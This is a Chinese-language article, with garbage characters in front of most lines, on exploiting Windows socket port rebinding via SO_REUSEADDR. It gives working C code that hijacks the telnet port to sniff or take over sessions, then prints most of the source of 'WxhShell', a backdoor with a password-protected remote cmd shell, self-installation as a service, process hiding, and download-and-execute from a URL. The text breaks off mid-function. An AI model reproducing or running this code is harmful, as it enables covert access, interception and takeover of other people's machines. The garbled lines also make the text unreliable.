在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~nmoz/L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
aC]$k'71 /2&c$9=1 saddr.sin_family = AF_INET;
LQ@"Xe]5 u+9hL4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6fkRrD 0CHH)Bku bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5?f ^Rz Akq2 d; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z%gh3 /!0={G 这意味着什么?意味着可以进行如下的攻击:
d-oMQGOklb {a =#B)6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W_JlOc!y Sj3+l7S? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xVw9v6@`h 2R[:]-b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
aS>u,=C K%t*8
4j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Kew@&j~ y\/1/WjBn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
))qy;Q, esJ~;~[@(r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'6DBs8>1
{y)=eX9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CT&|QH{ 5tl< 3g` #include
` ./$&' #include
=7?4eYHC #include
l5~os> #include
d9k0F
OR1 DWORD WINAPI ClientThread(LPVOID lpParam);
N:^n('U&j int main()
kXViWOXU^ {
EfqX
y>W WORD wVersionRequested;
[CY9^N DWORD ret;
v_yw@ WSADATA wsaData;
t$` r4Lb9/ BOOL val;
&j;wCvE4+ SOCKADDR_IN saddr;
___~D
dq SOCKADDR_IN scaddr;
Mc) }\{J int err;
aEB_#1 SOCKET s;
<;lkUU(WT2 SOCKET sc;
b]e"1Y)D- int caddsize;
A@`}c,G HANDLE mt;
L7l
FtX+b DWORD tid;
]>!K3kB wVersionRequested = MAKEWORD( 2, 2 );
Z*F3G#A err = WSAStartup( wVersionRequested, &wsaData );
11 NQR[ if ( err != 0 ) {
9p]QM)M printf("error!WSAStartup failed!\n");
HVRZ[Y<^ return -1;
s9mx }
7 W5@TWM saddr.sin_family = AF_INET;
jVi) Efy td$E/h=3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
IYv`IS" X;$+,&M" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_T60;ZI+^ saddr.sin_port = htons(23);
5%"V[lDx@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F~-(:7j {
u* eV@KK! printf("error!socket failed!\n");
/l3V3B7 return -1;
7^avpf)> }
0S"mVZ*P val = TRUE;
hDDn,uzpd //SO_REUSEADDR选项就是可以实现端口重绑定的
I{|O "8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6XxvvMA97 {
Dm981t>wL printf("error!setsockopt failed!\n");
10Q ]67 return -1;
!aUs>1i }
i$Ul(? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cZ,b?I"Q% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wLIMv3;k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
soxc0OlN yxPazz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2Ah#<k-gC; {
{p2!|A&a ret=GetLastError();
l$KA)xbI printf("error!bind failed!\n");
t9lPb_70 return -1;
FaAC&F@u }
<sbu;dQ` listen(s,2);
)$2QZ
qX while(1)
hgG9m[?K {
M-VX;/&FR caddsize = sizeof(scaddr);
"nynl'Ryk //接受连接请求
'@v\{ l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SO/c}vnBB if(sc!=INVALID_SOCKET)
AYBns]! {
#^0R&) T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VD*6g%p if(mt==NULL)
x8 2cT21b {
h'llK6_) printf("Thread Creat Failed!\n");
9cbd~mM{ break;
"Fr.fhh'~ }
gjyYCjF }
P\tB~SZ* CloseHandle(mt);
>58YjLXb }
[>I<#_^~ closesocket(s);
l:~/<`o WSACleanup();
K8|r&`X0 return 0;
;?Tbnn Wn }
LVM%"sd? DWORD WINAPI ClientThread(LPVOID lpParam)
6_o*y8s. {
5vQHhwO50k SOCKET ss = (SOCKET)lpParam;
s[>,X#7 y SOCKET sc;
XT%nbh&y unsigned char buf[4096];
C^Yb\N}S SOCKADDR_IN saddr;
-m zIT4 long num;
u{cW: DWORD val;
P= BZ+6DS DWORD ret;
EU 6 oQ //如果是隐藏端口应用的话,可以在此处加一些判断
U+jOTq8 M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
e(&v"}Ef` saddr.sin_family = AF_INET;
QO:!p5^: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/{J4:N'B> saddr.sin_port = htons(23);
d'gfQlDny if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F~vuM$+d {
R_cA:3qc~ printf("error!socket failed!\n");
! I:%0D return -1;
df +l%9@ }
!?jrf ]
A@ val = 100;
M]
%?>G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_yx>TE2e {
O`kl\K*R7 ret = GetLastError();
]jQutlg| return -1;
x8B}ZIbT9 }
Mx ?d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
net@j#}j- {
&m7]v,& ret = GetLastError();
a5^]20Fa return -1;
sE<V5`Z= }
79j+vH!zh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$rBq"u=,0+ {
Pj^{|U2 1 printf("error!socket connect failed!\n");
05#1w#i closesocket(sc);
PdFKs+Z` closesocket(ss);
F,F4nw<W return -1;
2,oKVm+ }
?=7cF while(1)
2zA4vZkbcw {
s c,Hq\$& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4Z=_,#h4. //如果是嗅探内容的话,可以再此处进行内容分析和记录
tS5hv@9cWx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#Vt%@*
i num = recv(ss,buf,4096,0);
Jt<_zn_FG if(num>0)
NNR`!Pty send(sc,buf,num,0);
qr^3R&z!} else if(num==0)
ZQsJL\x[UK break;
1=c\Rr9] num = recv(sc,buf,4096,0);
ZU4nc3__ if(num>0)
,-c6dS send(ss,buf,num,0);
OZF
rtc+ else if(num==0)
/Iy]DU8 break;
SM#]H-3 }
^mDe08.
%b closesocket(ss);
VcYrK4 closesocket(sc);
ek\ xx return 0 ;
rU:`*b< }
/t57!& R?|.pq/Ln /SR*W5#s ==========================================================
_Ey9G VA>35w 下边附上一个代码,,WXhSHELL
%N6A+5H ~
'cmSiz- ==========================================================
xh,qNnGGi Lx1FpHo #include "stdafx.h"
,kGc]{'W `2WFk8) F #include <stdio.h>
"Yv_B3p #include <string.h>
.V/Rfq #include <windows.h>
.GXBc #include <winsock2.h>
=[{i{x|Qz #include <winsvc.h>
33x{CY15 #include <urlmon.h>
bHYy }weZ X/!o\yyT #pragma comment (lib, "Ws2_32.lib")
@f~RdO3 #pragma comment (lib, "urlmon.lib")
wE>\7a*P% iL&fgF"' #define MAX_USER 100 // 最大客户端连接数
6r0krbN #define BUF_SOCK 200 // sock buffer
-UEZ#Q #define KEY_BUFF 255 // 输入 buffer
TDKki(o=~ BLdvyVFx #define REBOOT 0 // 重启
]i)c{y #define SHUTDOWN 1 // 关机
$y &E(J BwGfTua #define DEF_PORT 5000 // 监听端口
Id'-&tYG =l;ewlU #define REG_LEN 16 // 注册表键长度
faX#**r #define SVC_LEN 80 // NT服务名长度
X1|njJGO1 Jb@V}Ul$ // 从dll定义API
WIT>!|w_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@Zu5Vp J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,j{,h_Op typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
) 1f~ dR88 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q#X8u-~ K~{$oD7! // wxhshell配置信息
AaOuL,l struct WSCFG {
F?*-4I- int ws_port; // 监听端口
:yr+vcD? char ws_passstr[REG_LEN]; // 口令
e0zq1XcZ int ws_autoins; // 安装标记, 1=yes 0=no
wLH>:yKUU char ws_regname[REG_LEN]; // 注册表键名
bKY7/w<dP char ws_svcname[REG_LEN]; // 服务名
gIa+5\qYY char ws_svcdisp[SVC_LEN]; // 服务显示名
)3}9K
^jS char ws_svcdesc[SVC_LEN]; // 服务描述信息
)JLdO*H char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nI-w}NQ int ws_downexe; // 下载执行标记, 1=yes 0=no
Egp/f|y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~{g [<Qi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mt{nm[D!Xp KIf dafRL };
pfD c9PMj -t'jNR' // default Wxhshell configuration
?k&Vy struct WSCFG wscfg={DEF_PORT,
-q1??u "xuhuanlingzhe",
^z IW+: 1,
F=e8 IUr "Wxhshell",
2!m/ "Wxhshell",
IGQaDFr "WxhShell Service",
4#xDgxg\f "Wrsky Windows CmdShell Service",
T|e u "Please Input Your Password: ",
9igiZmM 1,
4y?n
[/M/ "
http://www.wrsky.com/wxhshell.exe",
u(>^3PJ+ "Wxhshell.exe"
p!7FpxZY };
!qh]6%l ,{u
yG: // 消息定义模块
<I\/n<* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Uw. `7b>B char *msg_ws_prompt="\n\r? for help\n\r#>";
8,4"uuI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{ ]{/t-= char *msg_ws_ext="\n\rExit.";
/<=u\e'rE char *msg_ws_end="\n\rQuit.";
QL&ZjSN char *msg_ws_boot="\n\rReboot...";
]Ji.Zk char *msg_ws_poff="\n\rShutdown...";
v5#jZ$<F char *msg_ws_down="\n\rSave to ";
uM IIYS ThajHK|U char *msg_ws_err="\n\rErr!";
dO<ERY char *msg_ws_ok="\n\rOK!";
q460iL7yF} EzM
?Nft char ExeFile[MAX_PATH];
N=5a54!/ int nUser = 0;
XkE`U5. HANDLE handles[MAX_USER];
l'-Bu( int OsIsNt;
s4y73-J^.v zm5]J SERVICE_STATUS serviceStatus;
wx=
$2N6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
?}tFN_X" *=/ { HvJ // 函数声明
+US!YU int Install(void);
|&+o^ int Uninstall(void);
+NZ_D#u int DownloadFile(char *sURL, SOCKET wsh);
x;P_1J%Q int Boot(int flag);
.\ULbN3Z void HideProc(void);
d9fC<Tp int GetOsVer(void);
XH 4 int Wxhshell(SOCKET wsl);
%+W{iu[| void TalkWithClient(void *cs);
UT~4x|b:O int CmdShell(SOCKET sock);
; ; OAQ` int StartFromService(void);
eCU:Q int StartWxhshell(LPSTR lpCmdLine);
"Y
=;.:qe _ @NL;w:! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kzQ+j8.,U VOID WINAPI NTServiceHandler( DWORD fdwControl );
GX!G> pHXm>gTd,J // 数据结构和表定义
jUYWrYJ SERVICE_TABLE_ENTRY DispatchTable[] =
45@ I *` {
SuJ aL-; {wscfg.ws_svcname, NTServiceMain},
u^+7hkk {NULL, NULL}
VGy<")8D/ };
N]Yd9tn{ ,Bi.1
%$ // 自我安装
dC3o9 int Install(void)
Z*]9E^ {
8yR.uMI$/ char svExeFile[MAX_PATH];
<sGVR5NR HKEY key;
Db}j?ik/ strcpy(svExeFile,ExeFile);
;40/yl3r3[ Fx_z 6a // 如果是win9x系统,修改注册表设为自启动
r"3=44St if(!OsIsNt) {
Pe_W;q. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wtQ++l%{G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\R9(x]nZ% RegCloseKey(key);
z1 |TC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v!-/&}W)1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
36&e.3/# RegCloseKey(key);
F4-$~v@ return 0;
K*vt;L }
In"ZIKaC }
@su^0 9n }
|/|5UiX7 else {
b5dD/-Vj E1aHKjLQ // 如果是NT以上系统,安装为系统服务
O_muD\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
njB;&N)I if (schSCManager!=0)
oQ/E}Zk@ {
]KKS"0a SC_HANDLE schService = CreateService
c(f (
T?CdZc. schSCManager,
F`9xVnK= wscfg.ws_svcname,
lBLARz&c# wscfg.ws_svcdisp,
'A=^Se`= SERVICE_ALL_ACCESS,
t:x\kp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
b;B%q$sntC SERVICE_AUTO_START,
A7Cm5>Y_S SERVICE_ERROR_NORMAL,
kYP#SH/ svExeFile,
Ytp(aE: NULL,
#1A.?p NULL,
y4
#>X NULL,
R6<X%*&% NULL,
}z'8Bu NULL
j;+b0(53 );
$lfn(b, if (schService!=0)
$ZhFh{DQ. {
b4%??"&<Y CloseServiceHandle(schService);
!3c\NbU CloseServiceHandle(schSCManager);
1Z/(G1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a{'vN93 strcat(svExeFile,wscfg.ws_svcname);
g]l''7G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
cN-?l7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gS!:+G% RegCloseKey(key);
t9GR69v:? return 0;
^,lIK+#Elz }
TPQ%L@^L+ }
wv>^0\o CloseServiceHandle(schSCManager);
htO+z7 }
Y!aSs3c }
kUL'1!j7 RtkEGxw*^ return 1;
/Y:sLGQLD }
zJKv'>? > ym,{EHK // 自我卸载
A_"w^E{P int Uninstall(void)
niMsQ {
;0]aq0_#( HKEY key;
xk9%F?) IEL%!RFG if(!OsIsNt) {
*/5d>04 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7~G9'P< RegDeleteValue(key,wscfg.ws_regname);
.Bl\Z RegCloseKey(key);
:;%2BSgFU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\S `:y?[Y RegDeleteValue(key,wscfg.ws_regname);
\}yc`7T:L0 RegCloseKey(key);
"=HA Y return 0;
B{n,t}z }
ANAVn@ [ }
9d0@wq. }
=g7x'
kN else {
;Zcswt8]u gs^Xf;gvI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*?@?f&E/ if (schSCManager!=0)
]\-A;}\e {
ch*8B(: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&@X<zWg if (schService!=0)
{ T/[cu< {
T=
8 0, if(DeleteService(schService)!=0) {
\i>?q CloseServiceHandle(schService);
3,_aAgeE CloseServiceHandle(schSCManager);
o"s)eh return 0;
W<h)HhyG }
k&M;,e3v6 CloseServiceHandle(schService);
{r,.!;mHu }
]? c
B:} CloseServiceHandle(schSCManager);
Ye%~I`@? }
ydEoC$?0 }
xWH.^o," ?>9/#Nv return 1;
rET\n(AJ }
x;O[c3I q^@Q"J =v // 从指定url下载文件
7(1|xYCx$ int DownloadFile(char *sURL, SOCKET wsh)
lf`{zc r: {
(q/e1L-S HRESULT hr;
dohA0 char seps[]= "/";
#H&|*lr char *token;
xJpA0_xfG char *file;
?d\N(s9F char myURL[MAX_PATH];
\{_q.;} char myFILE[MAX_PATH];
RT4x\&q q_: 4w$> strcpy(myURL,sURL);
"`/h#np token=strtok(myURL,seps);
+q<jAW A while(token!=NULL)
+uF>2b6' {
-u+vJ6EY file=token;
tH@Erh|% token=strtok(NULL,seps);
)EPjAv }
olB.*#gA o+iiSTJEe GetCurrentDirectory(MAX_PATH,myFILE);
7DogM".}~Q strcat(myFILE, "\\");
5+4IN5o]= strcat(myFILE, file);
Df-DRi send(wsh,myFILE,strlen(myFILE),0);
/obfw^ send(wsh,"...",3,0);
a@K%06A;' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R`5.[?Dt if(hr==S_OK)
4d4ZT?V[ return 0;
*gb*LhgO else
V;VHv=9`o return 1;
3Y4?CM&0v 5+0gR
&|j }
)th<,Lo3# y%$AhRk*U // 系统电源模块
l+K'beP int Boot(int flag)
h%na>G {
tPWLg), HANDLE hToken;
c%
-Tem'# TOKEN_PRIVILEGES tkp;
jxJ8(sr$ >{n,L6_t if(OsIsNt) {
VOsRAn/N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
IxN9&xa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
XAKs0*J> tkp.PrivilegeCount = 1;
h]&GLb&<? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hg]]Ok~cAs AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3PWL@>zi if(flag==REBOOT) {
W&W5lArr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#<"~~2? return 0;
JPI3[.o }
BQHVQs else {
mkk6`,ov if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sRR(`0Zp return 0;
G^|:N[>B }
lN
4oW3QT }
e`_LEv else {
;W
)Y
OT if(flag==REBOOT) {
MTh<|$
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A0s ZOCky return 0;
2eS~/Pq5=i }
=!A_^;NQf else {
%g$o/A$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^$jb7HMObI return 0;
{%5eMyF# }
?3`UbN: }
:K,i\ ;u
({\K return 1;
Zd%k*BC }
=%K;X\NB zV37$Hb // win9x进程隐藏模块
:gibfk]C void HideProc(void)
/ &5,3rU.G {
"Qc7dRmSxm 1~_{$5[X? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#$07:UJ if ( hKernel != NULL )
R$<&ie6UQ {
!dnH7" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
OU_gdp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ifQ*,+@fxR FreeLibrary(hKernel);
Wq&if_ }
;?iW%:_, %3-y[f return;
zrgk]n;Pq }
N/2T[s_& dt]-,Y
// 获取操作系统版本
R4cM%l_#W int GetOsVer(void)
~L\z8[<C {
_4So{~Gf1 OSVERSIONINFO winfo;
&i6mW8l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
n0 {i&[I~+ GetVersionEx(&winfo);
9wwqcx)3( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
OX!tsARC@ return 1;
19)i*\+ else
I; |B.j return 0;
s Y Qk }
_S1>j7RQo j{A y\n ( // 客户端句柄模块
x~~|.C, int Wxhshell(SOCKET wsl)
wKxtre(v {
dn+KH+v SOCKET wsh;
}<SQ struct sockaddr_in client;
@o _}g !9= DWORD myID;
mxC;?s;~ 1~
3_^3OT while(nUser<MAX_USER)
}q`S$P; {
#OD/$f_ int nSize=sizeof(client);
xsbE TP? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
WPMSm<[ if(wsh==INVALID_SOCKET) return 1;
)9`qG:b' l<LI7Z]A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AJ`h9%B if(handles[nUser]==0)
BM
.~ 5\ closesocket(wsh);
vJ[^K else
6ojo :-%Vf nUser++;
?M9=yA }
ChPmX+.i_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v MH Ckuh:bs return 0;
<uw9DU7G }
x2\qXN/R om z // 关闭 socket
>uhaW@d void CloseIt(SOCKET wsh)
K`zdc`/ {
m@v\(rT. closesocket(wsh);
k"zv~`i' nUser--;
)U:m:cr< ExitThread(0);
97C]+2R%^ }
u?(d gJ qiD@'Va\ // 客户端请求句柄
k2tF} void TalkWithClient(void *cs)
@9RM9zK.q {
{qJ1ko)$ L+i=VGm0 SOCKET wsh=(SOCKET)cs;
BG]#o|KW char pwd[SVC_LEN];
?X<eV1a char cmd[KEY_BUFF];
oQVgyj. char chr[1];
: bq8N@P/ int i,j;
,m|h<faZL u^I|T.w<r6 while (nUser < MAX_USER) {
j-}O0~Jz 29] G^f> if(wscfg.ws_passstr) {
08\,<9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eJX9_6m- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_|I#{jK //ZeroMemory(pwd,KEY_BUFF);
zL0pw'4 i=0;
FGmb<z 2p while(i<SVC_LEN) {
<=/hil L^?qOylu // 设置超时
+lcbi fd_set FdRead;
4p;`C struct timeval TimeOut;
:J&oX
<nF^ FD_ZERO(&FdRead);
z,p~z*4 FD_SET(wsh,&FdRead);
0pd'93C TimeOut.tv_sec=8;
3~{:`[0Q TimeOut.tv_usec=0;
p6Gy,C. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7.j?U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Fq<A V&2l5v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2eY_%Y0 pwd
=chr[0]; bwMm#f
if(chr[0]==0xd || chr[0]==0xa) { qqY"*uJ'
pwd=0; oAeUvmh
break; 2uW;
xfeY
} 0IBSRFt$g&
i++; (iX+{a%"
} Y\8)OBZ
Om2d.7S
// 如果是非法用户,关闭 socket ?NsW|w_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =X:Y,?
} E*K;H8}s
_A9AEi'.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z46~@y%k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d{3QP5
}|NCboM^_
while(1) { _)m]_eS._
p}~JgEE
ZeroMemory(cmd,KEY_BUFF); Ai3*QX
[waIi3Dv\
// 自动支持客户端 telnet标准 ~=l;=7 T
j=0; Eo]xNn/g
while(j<KEY_BUFF) { @lr ztM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qu{&xjTH8
cmd[j]=chr[0]; Dp-z[]})1
if(chr[0]==0xa || chr[0]==0xd) { K1yzD6[eW
cmd[j]=0; je=a/Y=%U{
break; yYA$I'Bm\
} BpPy&
j++; yl+gL?IES
} h
J)h\
y _k
l:Ssa
// 下载文件 #c.K/&Gc7j
if(strstr(cmd,"http://")) { E{P|)`,V
send(wsh,msg_ws_down,strlen(msg_ws_down),0); g(CI;f}y
if(DownloadFile(cmd,wsh)) Txb#C[`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kUrkG80q|
else j{+.tIzpq[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [/41%B2
} /"Uqa,{
else { R8Fv{7]c
=MDysb&:
switch(cmd[0]) { ],Do6
@M-
P{lB50
// 帮助 sWnLEw
case '?': { ;+hH
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v;D~Pa
break; YO}<Ytx
} /!XVHkX[
// 安装 LBDjIpR6
case 'i': {
HvJs1)Wo&
if(Install())
_
*Pf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q"4Migbe@
else VQOezQs\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@
.
break; &Hs!:43E-<
} 3{sVVq5Y
// 卸载 T'Dv.h
case 'r': { [2M'PT3
if(Uninstall()) Y\g3hM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"~!nn0;
else }9}h*RWm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4zFW-yy
break; @?]RBX?a
} &`2)V;t
// 显示 wxhshell 所在路径 8$Y9ORs4
case 'p': { lA8`l>I
char svExeFile[MAX_PATH]; di )L[<$DY
strcpy(svExeFile,"\n\r"); ml
}{|Yz
strcat(svExeFile,ExeFile); A_q3KB!$=+
send(wsh,svExeFile,strlen(svExeFile),0); U9MxI%tb
break; ((M>s&\y*Y
} p>8D;#HmL
// 重启 0{-q#/
case 'b': { NyNXP_8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' %o#q6O
if(Boot(REBOOT)) :&."ttf=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tf`^v6m%]
else { ds[|
closesocket(wsh); qF;|bF
ExitThread(0); 9V*qQS5<p
} /hyN;.hpOO
break; *VxgARIL
} i?^L/b`H
// 关机 T{[=oH+
case 'd': { WCixKYq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g{&ui.ml&
if(Boot(SHUTDOWN)) Yr[\|$H5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2~*&'4y
else { #!+:!_45
closesocket(wsh); 3L}A3de'
ExitThread(0); St*h>V6
} PB\x3pV!}
break; u.xnO cOH!
} \(2sW^fY
// 获取shell sD#.Oq4&]y
case 's': { .U]-j\
CmdShell(wsh); 49HZ2`Y
closesocket(wsh); pIqeXY
ExitThread(0); c'yxWZEv
break; C1 *v,i
} *VT/
// 退出 1/J=uH
case 'x': { 9~[Y-cpoi
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I9ep`X6Y
CloseIt(wsh); &gx%b*;`L0
break; Q>i^s@0
} f(MO_Sj]
// 离开 @|YH|/RF
case 'q': { JT_ `.(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); : eVq#3}
closesocket(wsh); A6(/;+n
WSACleanup(); ,Ko!$29[
exit(1); H"WprHe
break; hkQ"OsU
} XlR@pr6tw
} o!A+&{
} 0flRh)[J
[ v*ju!
// 提示信息 1yu4emye4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [` 7ThHX
} 20Wg=p9L
} cyz3,3\e
r*Ca}Z
return; qY!Zt_Be6
} HN|%9{VeB
&
>fQp(f
// shell模块句柄 _.8S&
int CmdShell(SOCKET sock) #AQV(;r7@
{ 8bld3p"^
STARTUPINFO si; ~b8]H|<'Y
ZeroMemory(&si,sizeof(si)); P/_['7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j&qub_j"xX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }*]-jWt1J\
PROCESS_INFORMATION ProcessInfo; gRcQt :
char cmdline[]="cmd"; g`QEu
5v
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KPUV@eQ,
return 0; {bY%# m
} h@ryy\9
EXqE~afm2
// 自身启动模式 }0Ed]
int StartFromService(void) CzrC%x y
{ b d!Y\OD
typedef struct },-H"Qs
{ Pe3o;mx
DWORD ExitStatus; X=&KayD
